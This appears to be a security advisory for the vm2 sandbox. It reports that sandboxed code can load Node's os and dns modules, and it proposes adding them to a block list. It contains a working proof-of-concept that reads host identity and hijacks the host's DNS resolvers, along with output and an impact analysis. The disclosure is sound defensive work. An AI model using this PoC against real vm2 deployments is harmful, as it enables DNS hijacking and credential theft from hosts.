Details
dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUS_BUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.
Proof of concept
test-poc.js (run from the vm2 checkout root):
const {NodeVM} = require('./');
// --- [B] / [C] — os reads + write ---
{
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
const r = vm.run(`
const os = require('os');
const before = os.getPriority();
os.setPriority(10); // mutates host process nice value
module.exports = {
userInfo: os.userInfo(), // uid/gid/username/homedir/shell of host
hostname: os.hostname(),
networkInterfaces: Object.keys(os.networkInterfaces()),
uptime: os.uptime(),
priorityBefore: before,
priorityAfter: os.getPriority()
};
`, 'os.js');
console.log(JSON.stringify(r, null, 2));
// Independently verify the host process now reports the bumped priority:
console.log('host getPriority() =', require('os').getPriority());
}
// --- [E] — dns.setServers hijack ---
{
const dnsHost = require('dns');
console.log('host DNS before:', dnsHost.getServers());
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
vm.run(`
require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
`, 'dns.js');
console.log('host DNS after:', dnsHost.getServers());
// Every subsequent dns.lookup() in the host process now hits the attacker.
}
Observed output on Node v22.12.0 against HEAD 7a1f510:
{
"userInfo": { "uid": 0, "gid": 0, "username": "root",
"homedir": "/root", "shell": "/bin/bash" },
"hostname": "Debian-trixie-latest-amd64-base",
"networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2",
"vethd3955b5", ..., "veth3" ],
"uptime": 6093038.92,
"priorityBefore": 0,
"priorityAfter": 10
}
host getPriority() = 10 ← host realm sees the sandbox write
host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1',
'185.12.64.1', '2a01:4ff:ff00::add:2' ]
host DNS after: [ '127.0.0.1:5353', '8.8.4.4' ] ← hijacked
Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the vm.run() call returns — confirming the writes persisted past the bridge boundary.
Impact
Direct
- Host identity disclosure (`os`) — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.
- Network topology disclosure (`os.networkInterfaces`) — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.
- Process-wide DNS hijack (`dns.setServers`) — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.
- Process priority mutation (`os.setPriority`) — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.
Indirect / second-order
- Composes with `dgram` / `http` / `fetch` whitelisting — embedders who grant the sandbox network access via the
externalflag or a documented-os, -dnscutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected. - Composes with future host-realm-string introductions — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects.
- Defeats GHSA-9g8x's own threat model — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving
osanddnsopen leaves the class half-closed; the read-side leak path that the commit enumerates fordiagnostics_channel("attacker reads host HTTP requests through a subscriber") composes withdns.setServersto *also* redirect those requests. - Same fix is forward-compatible with future Node releases — adding
osanddnstoDANGEROUS_BUILTINSdoes not require enumerating every future Node API; the family-prefix matcher (isDangerousBuiltin) already covers any newos/...ordns/...subpath Node introduces.
Suggested fix
Single-line extension of DANGEROUS_BUILTINS in lib/builtin.js:83-139, alongside the four GHSA-9g8x additions, with the same // SECURITY (GHSA-...) block comment style and rationale:
const DANGEROUS_BUILTINS = new Set([
'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
'trace_events', 'wasi',
'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8',
// SECURITY (this advisory): Process-wide observability + WRITE builtins.
// `os.userInfo()` / `os.networkInterfaces()` leak host process identity and
// network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,
// `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives
// that mutate host-process state from the sandbox — `dns.setServers()` is a
// process-wide DNS resolver hijack reachable in one line of sandbox code.
// Embedders who genuinely need a sandbox-local replacement can register a
// controlled wrapper under the same name via `mock` / `override`.
'os',
'dns'
]);
The existing isDangerousBuiltin(key) family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to node:os, node:dns, and node:dns/promises without further changes. Embedders who genuinely need a sandbox-local os/dns (typically os.platform(), os.EOL, os.constants) can register a hand-written safe wrapper under those names via mock / override, mirroring the escape hatch documented for the GHSA-9g8x denials.
Tests should mirror the test/ghsa/GHSA-9g8x-92q2-p28f/repro.js shape: bare-name + node:-prefixed denial on require(), '*' wildcard expansion exclusion, explicit-allowlist (builtin: ['os'], builtin: ['dns']) rejection, makeBuiltins(['os']) rejection, mock / override escape-hatch acceptance.
docs/ATTACKS.md Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.